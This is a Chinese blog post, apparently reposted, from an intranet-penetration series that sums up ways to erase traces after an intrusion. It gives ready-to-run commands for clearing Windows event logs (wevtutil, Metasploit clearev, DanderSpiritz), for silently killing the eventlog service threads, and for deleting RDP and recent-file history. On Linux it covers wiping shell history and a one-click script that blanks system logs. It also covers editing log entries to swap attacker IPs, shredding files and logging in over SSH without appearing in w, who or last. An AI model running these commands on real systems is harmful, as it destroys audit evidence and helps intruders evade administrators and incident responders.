内网渗透系列:痕迹清理方法小结
目錄
- 前言
- 一、Windows
- 1、常見日志
- 2、Windows日志清除
- (1)wevtutil.exe
- (2)NSA DanderSpiritz
- 3、繞過Windows日志
- (1)方法1
- (2)方法2
- 4、Metasploit
- 5、3389登陸記錄清除
- 6、清除recent
- 二、Linux
- 1、清除命令歷史記錄
- 2、在隱蔽的位置執行命令
- 3、日志文件
- 4、文件刪除
- (1)shred命令
- (2)dd命令
- (3)wipe
- (4)Secure-Delete
- 5、隱藏遠程SSH登陸記錄
- 結語
前言
本文學習并小結下痕跡清理方法
一、Windows
1、常見日志
應用程序日志文件:%systemroot%\system32\config\AppEvent.EVT;安全日志文件:%systemroot%\system32\config\SecEvent.EVT;系統日志文件:%systemroot%\system32\config\SysEvent.EVT;DNS日志默認位置:%sys temroot%\system32\config,默認文件大小512KBInternet信息服務FTP日志默認位置:%systemroot%\system32\logfiles\msftpsvc1\,默認每天一個日志;Internet信息服務WWW日志默認位置:%systemroot%\system32\logfiles\w3svc1\,默認每天一個日志;Scheduler服務日志默認位置:%sys temroot%\schedlgu.txt;以上日志在注冊表里的鍵:
- 應用程序日志,安全日志,系統日志,DNS服務器日志,它們這些LOG文件在注冊表中的:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
有的管理員很可能將這些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目錄。 - Schedluler服務日志在注冊表中HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent
2、Windows日志清除
參考:滲透技巧——Windows日志的刪除與繞過
(1)wevtutil.exe
支持系統:Win7及以上
獲取日志分類列表:
wevtutil el >1.txt獲取單個日志類別的統計信息:
wevtutil gli "windows powershell"查看指定日志的具體內容:
wevtutil qe /f:text "windows powershell"刪除單個日志類別的所有信息:
wevtutil cl "windows powershell"(2)NSA DanderSpiritz
參考:NSA DanderSpiritz測試指南——木馬生成與測試
統計日志列表,查詢所有日志信息,包含時間,數目
eventlogquery -log Application查看指定類別的日志內容
eventlogfilter -log Application -num 10刪除該類日志所有內容
eventlogclear -log Application刪除單條內容
eventlogedit -log Application -record 13、繞過Windows日志
繞過原理:
Windows日志對應于eventlog服務,找到該服務對應的進程svchost.exe,進而篩選出svchost.exe進程中具體實現日志功能的線程,調用TerminateThread結束線程,破壞日志記錄功能
特別的地方:
由于只結束了實現日志功能的線程,所以Windows Event Log服務沒有被破壞,狀態仍為正在運行
(1)方法1
- 定位eventlog服務對應進程svchost.exe的pid
- 遍歷該進程中的所有線程
- 判斷線程是否滿足條件
Windows Event Log 服務需要調用wevtsvc.dll,完整路徑為%WinDir%\System32\wevtsvc.dll
并且,如果線程調用了wevtsvc.dll,就可以判讀該線程實現了日志記錄功能 - 結束線程
使用TerminateThread - 恢復方法
結束進程svchost.exe
重新開啟Windows Event Log 服務:net start eventlog
工具:https://github.com/hlldz/Phant0m
(2)方法2
- 定位eventlog服務對應進程svchost.exe的pidGet-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId 找到svchost.exe的pid為7008
- 遍歷該進程中的所有線程
使用PsList:pslist.exe /accepteula -d 7008
獲取進程svchost.exe中的所有線程 - 判斷線程是否滿足條件
獲取線程對應的服務,如果為eventlog,則滿足條件
使用工具:ScTagQuery:sctagqry.exe -t 7928
根據返回的結果Service Tag,判斷線程對應的服務
找到對應eventlog的線程 - 結束線程
調用TerminateThread
工具:https://github.com/3gstudent/Windows-EventLog-Bypass
4、Metasploit
run clearlogs clearev #清除windows中的應用程序日志、系統日志、安全日志5、3389登陸記錄清除
@echo off @reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f @del "%USERPROFILE%\My Documents\Default.rdp" /a @exit6、清除recent
在文件資源管理器中點擊“查看”->“選項”->在常規->隱私中點擊”清除”按鈕
或直接打開C:\Users\Administrator\Recent并刪除所有內容
或在命令行中輸入del /f /s /q “%userprofile%\Recent*.*
二、Linux
1、清除命令歷史記錄
histroy -r #刪除當前會話歷史記錄 history -c #刪除內存中的所有命令歷史 rm .bash_history #刪除歷史文件中的內容 HISTZISE=0 #通過設置歷史命令條數來清除所有歷史記錄2、在隱蔽的位置執行命令
使用vim打開文件執行命令
:set history=0 :!command3、日志文件
/var/run/utmp 記錄現在登入的用戶 /var/log/wtmp 記錄用戶所有的登入和登出 /var/log/lastlog 記錄每一個用戶最后登入時間 /var/log/btmp 記錄錯誤的登入嘗試 /var/log/auth.log 需要身份確認的操作 /var/log/secure 記錄安全相關的日志信息 /var/log/maillog 記錄郵件相關的日志信息 /var/log/message 記錄系統啟動后的信息和錯誤日志 /var/log/cron 記錄定時任務相關的日志信息 /var/log/spooler 記錄UUCP和news設備相關的日志信息 /var/log/boot.log 記錄守護進程啟動和停止相關的日志消息完全刪除日志
cat /dev/null > filename : > filename > filename echo "" > filename echo > filename針對性刪除日志文件:
刪除當天日志 sed -i '/當天日期/'d filename篡改日志
將所有170.170.64.17ip替換為127.0.0.1 sed -i 's/170.170.64.17/127.0.0.1/g'一鍵清除的bash腳本
#!/usr/bin/bash echo > /var/log/syslog echo > /var/log/messages echo > /var/log/httpd/access_log echo > /var/log/httpd/error_log echo > /var/log/xferlog echo > /var/log/secure echo > /var/log/auth.log echo > /var/log/user.log echo > /var/log/wtmp echo > /var/log/lastlog echo > /var/log/btmp echo > /var/run/utmp rm ~/./bash_history history -c4、文件刪除
(1)shred命令
實現安全的從硬盤上擦除數據,默認覆蓋3次,通過 -n指定數據覆蓋次數
shred -f -u -z -v -n 8 1.txt(2)dd命令
可用于安全地清除硬盤或者分區的內容。
dd if=/dev/zero of=要刪除的文件 bs=大小 count=寫入的次數(3)wipe
Wipe 使用特殊的模式來重復地寫文件,從磁性介質中安全擦除文件。
wipe filename(4)Secure-Delete
Secure-Delete 是一組工具集合,提供srm、smem、sfill、sswap,4個安全刪除文件的命令行工具。
srm filename sfill filename sswap /dev/sda1 smem5、隱藏遠程SSH登陸記錄
隱身登錄系統,不會被w、who、last等指令檢測到
ssh -T root@192.168.0.1 /bin/bash -i不記錄ssh公鑰在本地.ssh目錄中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i結語
小結下常見的痕跡清理方法
總結
以上是生活随笔為你收集整理的内网渗透系列:痕迹清理方法小结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【蓝桥杯】:奇怪的分式
- 下一篇: 老虎老虎